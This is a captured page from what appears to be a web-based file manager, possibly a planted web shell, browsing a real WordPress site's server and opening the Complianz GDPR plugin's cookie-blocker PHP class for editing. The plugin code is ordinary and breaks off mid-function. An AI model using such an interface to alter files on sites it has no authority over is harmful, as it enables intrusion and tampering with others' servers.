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a { color:#6cf; text-decoration:none; }  
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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.schiefer-reinigung.at%2F'>www.schiefer-reinigung.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.schiefer-reinigung.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.schiefer-reinigung.at%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.schiefer-reinigung.at%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.schiefer-reinigung.at%2Fhtdocs%2Fwp-content%2Fplugins%2Fcomplianz-gdpr%2F'>complianz-gdpr</a>/</p><hr><h3>✏️ Editing: class-cookie-blocker.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
defined( &#039;ABSPATH&#039; ) or die( &#039;you do not have access to this page!&#039; );

if ( ! class_exists( &#039;cmplz_cookie_blocker&#039; ) ) {
	class cmplz_cookie_blocker {
		private static $_this;
		public $cookie_list         = array();
		public $delete_cookies_list = array();

		function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die(
					sprintf(
						&#039;%s is a singleton class and you cannot create a second instance.&#039;,
						get_class( $this )
					)
				);
			}

			add_action( &#039;rest_api_init&#039;, array( $this, &#039;cmplz_cookie_data_rest_route&#039; ) );
			add_action( &#039;init&#039;, array( $this, &#039;create_delete_cookies_list&#039; ) );
			add_action( &#039;send_headers&#039;, array( $this, &#039;delete_cookies&#039; ) );
			self::$_this = $this;
		}

		static function this() {
			return self::$_this;
		}

		/**
		 * Get list of cookies for the cookie shredder
		 *
		 * @return void
		 */
		public function load_cookie_data() {
			if ( cmplz_get_option( &#039;safe_mode&#039; ) == 1 || cmplz_get_option( &#039;consent_per_service&#039; ) !== &#039;yes&#039; ) {
				return;
			}
			$this-&gt;cookie_list = cmplz_get_transient( &#039;cmplz_cookie_shredder_list&#039; );
			if ( ! $this-&gt;cookie_list ) {
				$this-&gt;cookie_list = array();
				$cookie_list       = COMPLIANZ::$banner_loader-&gt;get_cookies(
					array(
						&#039;ignored&#039;       =&gt; false,
						&#039;hideEmpty&#039;     =&gt; false,
						&#039;language&#039;      =&gt; &#039;en&#039;, // only for one language
						&#039;showOnPolicy&#039;  =&gt; true,
						&#039;deleted&#039;       =&gt; false,
						&#039;isMembersOnly&#039; =&gt; cmplz_get_option( &#039;wp_admin_access_users&#039; ) === &#039;yes&#039; ? &#039;all&#039; : false,
					)
				);
				$this-&gt;get_cookies( $cookie_list, &#039;preferences&#039; );
				$this-&gt;get_cookies( $cookie_list, &#039;statistics&#039; );
				$this-&gt;get_cookies( $cookie_list, &#039;marketing&#039; );
				cmplz_set_transient( &#039;cmplz_cookie_shredder_list&#039;, $this-&gt;cookie_list, HOUR_IN_SECONDS );
			}
		}

		/**
		 * Create a list of cookies that should be deleted
		 *
		 * @return void
		 */
		public function create_delete_cookies_list() {
			if ( cmplz_get_option( &#039;safe_mode&#039; ) == 1 || cmplz_get_option( &#039;consent_per_service&#039; ) !== &#039;yes&#039; ) {
				return;
			}
			if ( is_admin() ) {
				return;
			}
			$this-&gt;load_cookie_data();

			$current_cookies = array_keys( $_COOKIE );
			foreach ( $this-&gt;cookie_list as $category =&gt; $cookies ) {
				if ( cmplz_has_consent( $category ) ) {
					continue;
				}

				if ( ! is_array( $cookies ) ) {
					continue;
				}

				foreach ( $cookies as $service =&gt; $cookie_list ) {
					if ( cmplz_has_service_consent( $service ) ) {
						continue;
					}
					foreach ( $current_cookies as $key =&gt; $current_cookie ) {
						$found = cmplz_strpos_arr( $current_cookie, $cookie_list );
						if ( $found ) {
							$this-&gt;delete_cookies_list[] = $current_cookie;
						}
					}
				}
			}
			// ensure there are no duplicate arrays
			$this-&gt;delete_cookies_list = array_unique( $this-&gt;delete_cookies_list );
		}

		/**
		 * Clear cookies on header send
		 *
		 * @return void
		 */
		public function delete_cookies() {
			$max   = 20;
			$count = 0;
			foreach ( $this-&gt;delete_cookies_list as $name ) {
				// limit header size by limiting number of cookies to delete in one go.
				if ( $count &gt; $max ) {
					continue;
				}
				++$count;
				unset( $_COOKIE[ $name ] );
				$name = $this-&gt;sanitize_cookie_name( $name );
				setcookie( $name, &#039;&#039;, -1, COMPLIANZ::$banner_loader-&gt;get_cookie_path() );
				setcookie( $name, &#039;&#039;, -1, &#039;/&#039; );
			}
		}

		/**
		 * Sanitize cookie name. Remove any characters that are not alphanumeric, underscore, or dash to prevent fatal errors in the setcookie function
		 *
		 * @param string $name
		 *
		 * @return string
		 */
		public function sanitize_cookie_name( string $name ): string {
			// Remove any characters that are not alphanumeric, underscore, or dash
			return preg_replace( &#039;/[^a-zA-Z0-9_-]/&#039;, &#039;&#039;, $name );
		}

		/**
		 * Add cookie data rest route
		 *
		 * @return void
		 */
		public function cmplz_cookie_data_rest_route() {
			register_rest_route(
				&#039;complianz/v1&#039;,
				&#039;cookie_data/&#039;,
				array(
					&#039;methods&#039;             =&gt; &#039;GET&#039;,
					&#039;callback&#039;            =&gt; array( $this, &#039;cookie_data&#039; ),
					&#039;permission_callback&#039; =&gt; &#039;__return_true&#039;,
				)
			);
		}

		/**
		 * Add cookies to list by category
		 *
		 * @param array  $cookie_list
		 * @param string $category
		 *
		 * @return void
		 */
		public function get_cookies( $cookie_list, $category ) {
			if ( is_array( $cookie_list ) ) {
				foreach ( $cookie_list as $cookie ) {
					if ( stripos( (string) $cookie-&gt;purpose, $category ) !== false ) {
						$this-&gt;cookie_list[ $category ][ $this-&gt;sanitize_service_name( $cookie-&gt;service ) ][] = str_replace( &#039;*&#039;, &#039;&#039;, $cookie-&gt;name );
					}
				}
			}
		}

		/**
		 * Get a blocked content notice
		 *
		 * @return string
		 */
		public function blocked_content_text() {
			if ( cmplz_get_option( &#039;consent_per_service&#039; ) === &#039;yes&#039; ) {
				$agree_text      = cmplz_get_option( &#039;agree_text_per_service&#039; );
				$placeholdertext = cmplz_get_option( &#039;blocked_content_text_per_service&#039; );
				$placeholdertext = &#039;&lt;div class=&quot;cmplz-blocked-content-notice-body&quot;&gt;&#039; . $placeholdertext . &#039;&amp;nbsp;&lt;div class=&quot;cmplz-links&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;cmplz-link cookie-statement&quot;&gt;{title}&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;button class=&quot;cmplz-accept-service&quot;&gt;&#039; . $agree_text . &#039;&lt;/button&gt;&#039;;
			} else {
				$placeholdertext = cmplz_get_option( &#039;blocked_content_text&#039; );
			}

			return apply_filters( &#039;cmplz_accept_cookies_blocked_content&#039;, $placeholdertext );
		}


		/**
		 * REST API for cookie data
		 *
		 * @param WP_REST_Request $request
		 */
		public function cookie_data( WP_REST_Request $request ) {
			$this-&gt;load_cookie_data();
			$response = json_encode( $this-&gt;cookie_list );
			header( &#039;Content-Type: application/json&#039; );
			echo $response;
			exit;
		}
		/**
		 * Get array of scripts to block in correct format
		 * This is the base array, of which dependencies and placeholder lists also are derived
		 *
		 * @return array
		 */
		public function blocked_styles() {
			$blocked_styles = apply_filters( &#039;cmplz_known_style_tags&#039;, array() );
			// make sure every item has the default array structure
			foreach ( $blocked_styles as $key =&gt; $blocked_style ) {
				$default = array(
					&#039;name&#039;               =&gt; &#039;general&#039;, // default service name
					&#039;enable_placeholder&#039; =&gt; 1,
					&#039;placeholder&#039;        =&gt; &#039;&#039;,
					&#039;category&#039;           =&gt; &#039;marketing&#039;,
					&#039;urls&#039;               =&gt; array( $blocked_style ),
					&#039;enable&#039;             =&gt; 1,
					&#039;enable_dependency&#039;  =&gt; 0,
					&#039;dependency&#039;         =&gt; &#039;&#039;,
				);

				if ( ! is_array( $blocked_style ) ) {
					$service                = cmplz_get_service_by_src( $blocked_style );
					$default[&#039;name&#039;]        = $service;
					$default[&#039;placeholder&#039;] = $service;
					$blocked_styles[ $key ] = $default;
				} else {
					$blocked_styles[ $key ] = wp_parse_args( $blocked_style, $default );
				}
			}

			$formatted_custom_style_tags = array();
			foreach ( $blocked_styles as $blocked_style ) {
				$blocked_style[&#039;name&#039;] = $this-&gt;sanitize_service_name( $blocked_style[&#039;name&#039;] );
				if ( isset( $blocked_style[&#039;urls&#039;] ) ) {
					foreach ( $blocked_style[&#039;urls&#039;] as $url ) {
						$formatted_custom_style_tags[ $url ] = $blocked_style;
					}
				} elseif ( isset( $blocked_style[&#039;editor&#039;] ) ) {
					$formatted_custom_style_tags[ $blocked_style[&#039;editor&#039;] ] = $blocked_style;
				}
			}
			return $formatted_custom_style_tags;
		}
		/**
		 * Get array of scripts to block in correct format
		 * This is the base array, of which dependencies and placeholder lists also are derived
		 *
		 * @return array
		 */
		public function blocked_scripts() {
			$blocked_scripts = apply_filters( &#039;cmplz_known_script_tags&#039;, array() );
			$scripts         = get_option( &#039;complianz_options_custom-scripts&#039; );
			if ( is_array( $scripts ) &amp;&amp; isset( $scripts[&#039;block_script&#039;] ) &amp;&amp; is_array( $scripts[&#039;block_script&#039;] ) ) {
				$custom_script_tags = array_filter(
					$scripts[&#039;block_script&#039;],
					function ( $script ) {
						return true === (bool) $script[&#039;enable&#039;];
					}
				);
				$blocked_scripts    = array_merge( $blocked_scripts, $custom_script_tags );
			}

			$blocked_scripts = apply_filters_deprecated( &#039;cmplz_known_iframe_tags&#039;, array( $blocked_scripts ), &#039;6.0.0&#039;, &#039;cmplz_known_script_tags&#039;, &#039;The cmplz_known_iframe_tags filter is deprecated&#039; );

			// make sure every item has the default array structure
			foreach ( $blocked_scripts as $key =&gt; $blocked_script ) {
				$default = array(
					&#039;name&#039;               =&gt; &#039;general&#039;, // default service name
					&#039;enable_placeholder&#039; =&gt; 1,
					&#039;placeholder&#039;        =&gt; &#039;&#039;,
					&#039;category&#039;           =&gt; &#039;marketing&#039;,
					&#039;urls&#039;               =&gt; array( $blocked_script ),
					&#039;enable&#039;             =&gt; 1,
					&#039;enable_dependency&#039;  =&gt; 0,
					&#039;dependency&#039;         =&gt; &#039;&#039;,
				);

				if ( ! is_array( $blocked_script ) ) {
					$service                 = cmplz_get_service_by_src( $blocked_script );
					$default[&#039;name&#039;]         = $service;
					$default[&#039;placeholder&#039;]  = $service;
					$blocked_scripts[ $key ] = $default;
				} else {
					$blocked_scripts[ $key ] = wp_parse_args( $blocked_script, $default );
				}
			}

			$formatted_custom_script_tags = array();
			foreach ( $blocked_scripts as $blocked_script ) {
				$blocked_script[&#039;name&#039;] = $this-&gt;sanitize_service_name( $blocked_script[&#039;name&#039;] );
				if ( cmplz_placeholder_disabled( $blocked_script[&#039;name&#039;] ) ) {
					$blocked_script[&#039;enable_placeholder&#039;] = 0;
				}
				if ( isset( $blocked_script[&#039;urls&#039;] ) ) {
					foreach ( $blocked_script[&#039;urls&#039;] as $url ) {
						$formatted_custom_script_tags[ $url ] = $blocked_script;
					}
				} elseif ( isset( $blocked_script[&#039;editor&#039;] ) ) {
					$formatted_custom_script_tags[ $blocked_script[&#039;editor&#039;] ] = $blocked_script;
				}
			}
			return $formatted_custom_script_tags;
		}

		/**
		 * @param $title
		 *
		 * @return array|string|string[]
		 */
		public function sanitize_service_name( $title ) {
			if ( empty( $title ) ) {
				return &#039;general&#039;;
			}
			return cmplz_sanitize_title_preserve_uppercase( $title );
		}

		/**
		 * Get array of placeholder - placeholder_classes for non iframe blocked content
		 *
		 * @param array $blocked_scripts
		 * @return array
		 */
		public function placeholder_markers( $blocked_scripts ) {
			$placeholder_markers = apply_filters( &#039;cmplz_placeholder_markers&#039;, array() );

			// current format: array(&#039;facebook&#039; = array(&#039;class1&#039;,&#039;class2&#039;) )
			// force into new structure
			foreach ( $placeholder_markers as $name =&gt; $placeholders ) {
				foreach ( $placeholders as $class ) {
					$name              = $this-&gt;sanitize_service_name( $name );
					$blocked_scripts[] = array(
						&#039;name&#039;               =&gt; $name,
						&#039;placeholder&#039;        =&gt; $name,
						&#039;placeholder_class&#039;  =&gt; $class,
						&#039;category&#039;           =&gt; &#039;marketing&#039;,
						&#039;enable_placeholder&#039; =&gt; 1,
						&#039;iframe&#039;             =&gt; 0,
					);
				}
			}

			// add script center data. add_script arrays aren&#039;t included in the &quot;known_script_tags&quot; function
			$scripts = get_option( &#039;complianz_options_custom-scripts&#039; );
			if ( is_array( $scripts ) &amp;&amp; isset( $scripts[&#039;add_script&#039;] ) &amp;&amp; is_array( $scripts[&#039;add_script&#039;] ) ) {
				$added_scripts = array_filter(
					$scripts[&#039;add_script&#039;],
					static function ( $script ) {
						return true === (bool) $script[&#039;enable&#039;];
					}
				);
				if ( ! empty( $added_scripts ) ) {
					$blocked_scripts = array_merge( $blocked_scripts, $added_scripts );
				}
			}

			// filter out non-iframe and disabled placeholders.
			// &#039;add_script&#039; items do not have an iframe
			return array_filter(
				$blocked_scripts,
				static function ( $script ) {
					return isset( $script[&#039;enable_placeholder&#039;] ) &amp;&amp; $script[&#039;enable_placeholder&#039;] == 1 &amp;&amp; ( ! isset( $script[&#039;iframe&#039;] ) || $script[&#039;iframe&#039;] == 0 ) &amp;&amp; ! empty( $script[&#039;placeholder_class&#039;] );
				}
			);
		}

		/**
		 * Get dependencies and merge with dependencies from the script center
		 *
		 * @param array $blocked_scripts
		 * @return array
		 */
		function dependencies( $blocked_scripts ) {
			// array[&#039;wait-for-this-script&#039;] = &#039;script-that-should-wait&#039;;
			$dependencies = apply_filters( &#039;cmplz_dependencies&#039;, array() );
			$scripts      = get_option( &#039;complianz_options_custom-scripts&#039; );
			if ( is_array( $scripts ) &amp;&amp; isset( $scripts[&#039;block_script&#039;] ) &amp;&amp; is_array( $scripts[&#039;block_script&#039;] ) ) {
				$added_scripts   = array_filter(
					$scripts[&#039;block_script&#039;],
					function ( $script ) {
						return true === (bool) $script[&#039;enable&#039;];
					}
				);
				$blocked_scripts = array_merge( $blocked_scripts, $added_scripts );
			}
			$blocked_scripts = array_filter(
				$blocked_scripts,
				function ( $script ) {
					return isset( $script[&#039;enable_dependency&#039;] ) &amp;&amp; $script[&#039;enable_dependency&#039;] == 1 &amp;&amp; ! empty( $script[&#039;dependency&#039;] );
				}
			);

			$flat = array();
			foreach ( $blocked_scripts as $data ) {
				$flat = array_merge( $flat, $data[&#039;dependency&#039;] );
			}
			return array_merge( $dependencies, $flat );
		}

		/**
		 * Get array of whitelisted scripts, and add flattened scriptcenter whitelist
		 *
		 * @return array
		 */
		public function whitelisted_scripts() {
			// whitelist our localized inline scripts
			$whitelisted_script_tags = apply_filters( &#039;cmplz_whitelisted_script_tags&#039;, array( &#039;user_banner_id&#039; ) );
			$scripts                 = get_option( &#039;complianz_options_custom-scripts&#039; );
			if ( is_array( $scripts ) &amp;&amp; isset( $scripts[&#039;whitelist_script&#039;] ) &amp;&amp; is_array( $scripts[&#039;whitelist_script&#039;] ) ) {
				$custom_whitelisted_script_tags = array_filter(
					$scripts[&#039;whitelist_script&#039;],
					function ( $script ) {
						return true === (bool) $script[&#039;enable&#039;];
					}
				);

				// flatten array
				$flat = array();
				foreach ( $custom_whitelisted_script_tags as $data ) {
					$flat = array_merge( $flat, $data[&#039;urls&#039;] );
				}

				$whitelisted_script_tags = array_merge( $flat, $whitelisted_script_tags );
			}
			return $whitelisted_script_tags;
		}

		/**
		 * Apply the mixed content fixer.
		 *
		 * @since  1.0
		 *
		 * @access public
		 */
		public function filter_buffer( $buffer ) {
			if ( cmplz_is_amp() ) {
				$buffer = apply_filters( &#039;cmplz_cookieblocker_amp&#039;, $buffer );
			} else {
				$buffer = $this-&gt;replace_tags( $buffer );
			}

			return $buffer;
		}

		/**
		 * Start buffering the output
		 *
		 * @since  1.0
		 *
		 * @access public
		 */
		public function start_buffer() {
			/**
			 * Don&#039;t activate the cookie blocker is AMP is active, but the AMP integration is not enabled
			 * This problem only occurs for manually included iframes, not for WP generated embeds
			 */

			if ( cmplz_is_amp_endpoint() &amp;&amp; ! cmplz_amp_integration_active() ) {
				return;
			}

			ob_start( array( $this, &#039;filter_buffer&#039; ) );
		}

		/**
		 * Flush the output buffer
		 *
		 * @since  1.0
		 *
		 * @access public
		 */
		public function end_buffer() {

			/**
			 * Don&#039;t activate the cookie blocker is AMP is active, but the AMP integration is not enabled
			 */

			if ( cmplz_is_amp_endpoint() &amp;&amp; ! cmplz_amp_integration_active() ) {
				return;
			}

			if ( ob_get_length() ) {
				ob_end_flush();
			}
		}

		/**
		 * Just before the page is sent to the visitor&#039;s browser, remove all tracked third party scripts
		 *
		 * @since  1.0
		 *
		 * @access public
		 */
		public function replace_tags( $output ) {
			/**
			 * Get style tags
			 * */
			$known_style_tags = $this-&gt;blocked_styles();

			/**
			 * Get script tags, including custom user scripts
			 * */
			$blocked_scripts = cmplz_get_transient( &#039;cmplz_blocked_scripts&#039; );
			if ( isset( $_GET[&#039;cmplz_nocache&#039;] ) ) {
				$blocked_scripts = false;
			}

			if ( ! $blocked_scripts ) {
				$blocked_scripts = $this-&gt;blocked_scripts();
				cmplz_set_transient( &#039;cmplz_blocked_scripts&#039;, $blocked_scripts, 30 * MINUTE_IN_SECONDS );
			}

			/**
			 * Get placeholder markers for non iframe blocked content
			 */

			$placeholder_markers = $this-&gt;placeholder_markers( $blocked_scripts );

			/**
			 * Get whitelisted script tags
			 * */
			$whitelisted_script_tags = $this-&gt;whitelisted_scripts();

			/**
			 * Get dependencies between scripts
			 * */
			$dependencies = $this-&gt;dependencies( $blocked_scripts );

			/**
			 * Get list of tags that require post scribe to be enabled on the page. Currently only for instawidget.js
			 * */

			$post_scribe_list = apply_filters( &#039;cmplz_post_scribe_tags&#039;, array() );

			// not meant as a &quot;real&quot; URL pattern, just a loose match for URL type strings.
			// edit: instagram uses ;width, so we need to allow ; as well.
			$url_pattern = &#039;([\w.,;ß@?^=%&amp;:()\/~+#!\-*]*?)&#039;;

			/**
			 * Handle images from third party services, e.g. google maps
			 * */
			$image_tags    = apply_filters( &#039;cmplz_image_tags&#039;, array() );
			$image_pattern = &#039;/&lt;img.*?src=[\&#039;|&quot;](\X*?)[\&#039;|&quot;].*?&gt;/s&#039;; // matches multiline with s operator, for FB pixel
			if ( preg_match_all( $image_pattern, $output, $matches, PREG_PATTERN_ORDER )
			) {
				foreach ( $matches[1] as $key =&gt; $image_url ) {
					$total_match = $matches[0][ $key ];
					$found       = cmplz_strpos_arr( $image_url, $image_tags );
					if ( $found !== false ) {
						$placeholder  = cmplz_placeholder( false, $image_url );
						$service_name = cmplz_get_service_by_src( $image_url );
						$service_name = ! $service_name ? &#039;general&#039; : $service_name;
						$new          = $total_match;
						$new          = $this-&gt;add_data( $new, &#039;img&#039;, &#039;src-cmplz&#039;, $image_url );
						$new          = $this-&gt;add_data( $new, &#039;img&#039;, &#039;service&#039;, $service_name );
						$new          = $this-&gt;add_data( $new, &#039;img&#039;, &#039;category&#039;, &#039;marketing&#039; );
						// remove lazy loading for images, as it is breaking on activation
						$new = str_replace( &#039;loading=&quot;lazy&quot;&#039;, &#039;data-deferlazy=&quot;1&quot;&#039;, $new );
						$new = $this-&gt;add_class( $new, &#039;img&#039;, apply_filters( &#039;cmplz_image_class&#039;, &#039;cmplz-image&#039;, $total_match, $found ) );
						$new = $this-&gt;replace_src( $new, apply_filters( &#039;cmplz_source_placeholder&#039;, $placeholder ) );
						$new = apply_filters( &#039;cmplz_image_html&#039;, $new, $image_url );

						if ( cmplz_use_placeholder( $image_url ) ) {
							$new = $this-&gt;add_class( $new, &#039;img&#039;, &#039; cmplz-placeholder-element &#039; );
							$new = &#039;&lt;div class=&quot;cmplz-placeholder-parent&quot;&gt;&#039; . $new . &#039;&lt;/div&gt;&#039;;
						}
						$output = str_replace( $total_match, $new, $output );
					}
				}
			}

			/**
			 * Handle styles (e.g. google fonts)
			 * */
			$style_pattern = &#039;/&lt;link.*?rel=[\&#039;|&quot;]stylesheet[\&#039;|&quot;][^&gt;].*?href=[\&#039;|&quot;](\X*?)[\&#039;|&quot;][^&gt;]*?&gt;/i&#039;;
			if ( preg_match_all( $style_pattern, $output, $matches, PREG_PATTERN_ORDER ) ) {
				foreach ( $matches[1] as $key =&gt; $style_url ) {
					$total_match = $matches[0][ $key ];
					// we don&#039;t block scripts with the functional data attribute
					if ( strpos( $total_match, &#039;data-category=&quot;functional&quot;&#039; ) !== false ) {
						continue;
					}

					// check if we can skip blocking this array if a specific string is included
					if ( cmplz_strpos_arr( $total_match, $whitelisted_script_tags ) ) {
						continue;
					}
					$found = cmplz_strpos_arr( $style_url, array_keys( $known_style_tags ) );
					if ( $found !== false ) {
						$match        = $known_style_tags[ $found ];
						$new          = $total_match;
						$service_name = $this-&gt;sanitize_service_name( $match[&#039;name&#039;] );
						$new          = $this-&gt;add_data( $new, &#039;link&#039;, &#039;category&#039;, apply_filters( &#039;cmplz_service_category&#039;, $match[&#039;category&#039;], $total_match, $found ) );
						$new          = $this-&gt;add_data( $new, &#039;link&#039;, &#039;service&#039;, $service_name );
						$new          = $this-&gt;replace_href( $new );
						$output       = str_replace( $total_match, $new, $output );
					}
				}
			}

			/**
			 * Handle iframes from third parties
			 * */
			// the iframes URL pattern allows for a space, which may be included in a Google Maps embed.
			$iframe_pattern = &#039;/&lt;(iframe)[^&gt;].*?src=[\&#039;&quot;](.*?)[\&#039;&quot;].*?&gt;.*?&lt;\/iframe&gt;/is&#039;;
			if ( preg_match_all( $iframe_pattern, $output, $matches, PREG_PATTERN_ORDER ) ) {
				foreach ( $matches[0] as $key =&gt; $total_match ) {
					$iframe_src = $matches[2][ $key ];
					if ( ( $tag_key = cmplz_strpos_arr( $iframe_src, array_keys( $blocked_scripts ) ) ) !== false ) {
						$tag = $blocked_scripts[ $tag_key ];
						if ( $tag[&#039;category&#039;] === &#039;functional&#039; ) {
							continue;
						}

						$is_video     = $this-&gt;is_video( $iframe_src );
						$service_name = $this-&gt;sanitize_service_name( $tag[&#039;name&#039;] );
						$new          = $total_match;
						$new          = preg_replace( &#039;~&lt;iframe\\s~i&#039;, &#039;&lt;iframe data-cmplz-target=&quot;&#039; . apply_filters( &#039;cmplz_data_target&#039;, &#039;src&#039;, $total_match ) . &#039;&quot; data-src-cmplz=&quot;&#039; . $iframe_src . &#039;&quot; &#039;, $new, 1 ); // make sure we replace it only once

						// remove lazy loading for iframes, as it is breaking on activation
						$new = str_replace( &#039;loading=&quot;lazy&quot;&#039;, &#039;data-deferlazy=&quot;1&quot;&#039;, $new );
						// check if we can skip blocking this array if a specific string is included
						if ( cmplz_strpos_arr( $total_match, $whitelisted_script_tags ) ) {
							continue;
						}
						// we insert video/no-video class for specific video styling
						$video_class = $is_video ? &#039;cmplz-video&#039; : &#039;cmplz-no-video&#039;;
						$video_class = apply_filters( &#039;cmplz_video_class&#039;, $video_class );

						$new = $this-&gt;replace_src( $new, apply_filters( &#039;cmplz_source_placeholder&#039;, &#039;about:blank&#039; ) );
						$new = $this-&gt;add_class( $new, &#039;iframe&#039;, &quot;cmplz-iframe cmplz-iframe-styles $video_class &quot; );
						$new = $this-&gt;add_data( $new, &#039;iframe&#039;, &#039;service&#039;, $service_name );
						$new = $this-&gt;add_data( $new, &#039;iframe&#039;, &#039;category&#039;, $tag[&#039;category&#039;] );

						if ( cmplz_use_placeholder( $iframe_src ) ) {
							$placeholder = cmplz_placeholder( $tag[&#039;placeholder&#039;], $iframe_src );
							$new         = $this-&gt;add_class( $new, &#039;iframe&#039;, &#039;cmplz-placeholder-element&#039; );
							$new         = $this-&gt;add_data( $new, &#039;iframe&#039;, &#039;placeholder-image&#039;, $placeholder );
							// allow for integrations to override html
							$new = apply_filters( &#039;cmplz_iframe_html&#039;, $new );

							// make sure there is a parent element which contains this iframe only, to attach the placeholder to
							if ( ! $is_video
								&amp;&amp; ! $this-&gt;no_div( $iframe_src )
							) {
								$new = &#039;&lt;div class=&quot;cmplz-placeholder-parent&quot;&gt;&#039; . $new . &#039;&lt;/div&gt;&#039;;
							}
						}
						$output = str_replace( $total_match, $new, $output );
					}
				}
			}

			/**
			 * specific classic wp video shortcode integration
			 */
			if ( cmplz_uses_thirdparty( &#039;youtube&#039; ) || cmplz_uses_thirdparty( &#039;vimeo&#039; ) ) {
				$iframe_pattern = &#039;/&lt;video class=&quot;wp-video-shortcode&quot;.*?&lt;(source) type=&quot;video.*?src=&quot;(.*?)&quot;.*?&gt;.*?&lt;\/video&gt;/is&#039;;
				if ( preg_match_all( $iframe_pattern, $output, $matches, PREG_PATTERN_ORDER ) ) {
					foreach ( $matches[0] as $key =&gt; $total_match ) {
						$iframe_src = $matches[2][ $key ];
						if ( ( $tag_key = cmplz_strpos_arr( $iframe_src, array_keys( $blocked_scripts ) ) ) !== false ) {
							$tag = $blocked_scripts[ $tag_key ];
							if ( $tag[&#039;category&#039;] === &#039;functional&#039; ) {
								continue;
							}
							$service_name = sanitize_title( $tag[&#039;name&#039;] );
							$new          = $total_match;
							// check if we can skip blocking this array if a specific string is included
							if ( cmplz_strpos_arr( $total_match, $whitelisted_script_tags ) ) {
								continue;
							}
							// we add an additional class to make it possible to link some css to the blocked html.
							$video_class_pattern = &#039;/([&quot;| ])(wp-video)([&quot;| ])/is&#039;;
							$output              = preg_replace( $video_class_pattern, &#039;$1wp-video cmplz-wp-video$3&#039;, $output );

							$video_class = apply_filters( &#039;cmplz_video_class&#039;, &#039;cmplz-video&#039; );
							$new         = $this-&gt;add_class( $new, &#039;video&#039;, &quot; $video_class &quot; );
							$new         = $this-&gt;add_data( $new, &#039;video&#039;, &#039;service&#039;, $service_name );
							$new         = $this-&gt;add_data( $new, &#039;video&#039;, &#039;category&#039;, $tag[&#039;category&#039;] );
							$new         = str_replace( array( &#039;wp-video-shortcode&#039;, &#039;controls=&quot;controls&quot;&#039; ), array( &#039;cmplz-wp-video-shortcode&#039;, &#039;&#039; ), $new );
							if ( cmplz_use_placeholder( $iframe_src ) ) {
								$placeholder = cmplz_placeholder( $tag[&#039;placeholder&#039;], $iframe_src );
								$new         = $this-&gt;add_class( $new, &#039;video&#039;, &#039;cmplz-placeholder-element&#039; );
								$new         = $this-&gt;add_data( $new, &#039;video&#039;, &#039;placeholder-image&#039;, $placeholder );
								// allow for integrations to override html
								$new = apply_filters( &#039;cmplz_source_html&#039;, $new );
							}

							$output = str_replace( $total_match, $new, $output );
						}
					}
				}
			}

			/**
			 * set non iframe placeholders
			 * */
			if ( cmplz_use_placeholder() ) {
				foreach ( $placeholder_markers as $placeholder ) {
					// placeholder class can be comma separated list e.g. facebook service integration
					$classes = array_map( &#039;trim&#039;, explode( &#039;,&#039;, $placeholder[&#039;placeholder_class&#039;] ) );
					foreach ( $classes as $placeholder_class ) {
						$placeholder_pattern = &#039;/&lt;([a-zA-Z][a-zA-Z0-9-]*)[^&gt;]*(id|class)=[\&#039;&quot; ]*[^&gt;]*(&#039; . $placeholder_class . &#039;)[\&#039;&quot; ].*?&gt;/is&#039;;
						if ( preg_match_all( $placeholder_pattern, $output, $matches, PREG_PATTERN_ORDER ) ) {
							foreach ( $matches[0] as $key =&gt; $html_match ) {
								$el = $matches[1][ $key ];
								if ( ! empty( $el ) ) {
									$type     = $placeholder[&#039;placeholder&#039;];
									$new_html = $this-&gt;add_data( $html_match, $el, &#039;placeholder-image&#039;, cmplz_placeholder( $type, $placeholder_class ) );
									$new_html = $this-&gt;add_data( $new_html, $el, &#039;category&#039;, $placeholder[&#039;category&#039;] );
									$new_html = $this-&gt;add_data( $new_html, $el, &#039;service&#039;, $placeholder[&#039;name&#039;] );
									$new_html = $this-&gt;add_class( $new_html, $el, &#039;cmplz-placeholder-element&#039; );
									$output   = str_replace( $html_match, $new_html, $output );
								}
							}
						}
					}
				}
			}

			/**
			 * Handle scripts from third parties
			 * */
			$script_pattern = &#039;/(&lt;script.*?&gt;)(\X*?)&lt;\/script&gt;/is&#039;;
			$index          = 0;
			if ( preg_match_all( $script_pattern, $output, $matches, PREG_PATTERN_ORDER ) ) {
				foreach ( $matches[1] as $key =&gt; $script_open ) {
					// we don&#039;t block scripts with the functional data attribute
					if ( strpos( $script_open, &#039;data-category=&quot;functional&quot;&#039; ) !== false ) {
						continue;
					}

					// exclude ld+json
					if ( strpos( $script_open, &#039;application/ld+json&#039; ) !== false ) {
						continue;
					}

					// check if we can skip blocking this array if a specific string is included
					$total_match = $matches[0][ $key ];
					$content     = $matches[2][ $key ];
					if ( cmplz_strpos_arr( $total_match, $whitelisted_script_tags ) ) {
						continue;
					}

					// if there is inline script here, it has some content
					if ( ! empty( $content ) ) {
						if ( strpos( $content, &#039;avia_preview&#039; ) !== false ) {
							continue;
						}

						$found = cmplz_strpos_arr( $content, array_keys( $blocked_scripts ) );
						if ( $found !== false ) {

							$match        = $blocked_scripts[ $found ];
							$service_name = $this-&gt;sanitize_service_name( $match[&#039;name&#039;] );
							$new          = $total_match;
							$category     = apply_filters_deprecated( &#039;cmplz_script_class&#039;, array( $match[&#039;category&#039;], $total_match, $found ), &#039;6.0.0&#039;, &#039;cmplz_service_category&#039;, &#039;The cmplz_script_class filter has been deprecated since 6.0&#039; );
							$category     = apply_filters( &#039;cmplz_service_category&#039;, $category, $total_match, $found );

							// skip if functional
							if ( $category === &#039;functional&#039; ) {
								continue;
							}

							$new     = $this-&gt;add_data( $new, &#039;script&#039;, &#039;category&#039;, $category );
							$new     = $this-&gt;add_data( $new, &#039;script&#039;, &#039;service&#039;, $service_name );
							$new     = $this-&gt;set_javascript_to_plain( $new );
							$waitfor = cmplz_strpos_arr( $content, $dependencies );
							if ( $waitfor !== false ) {
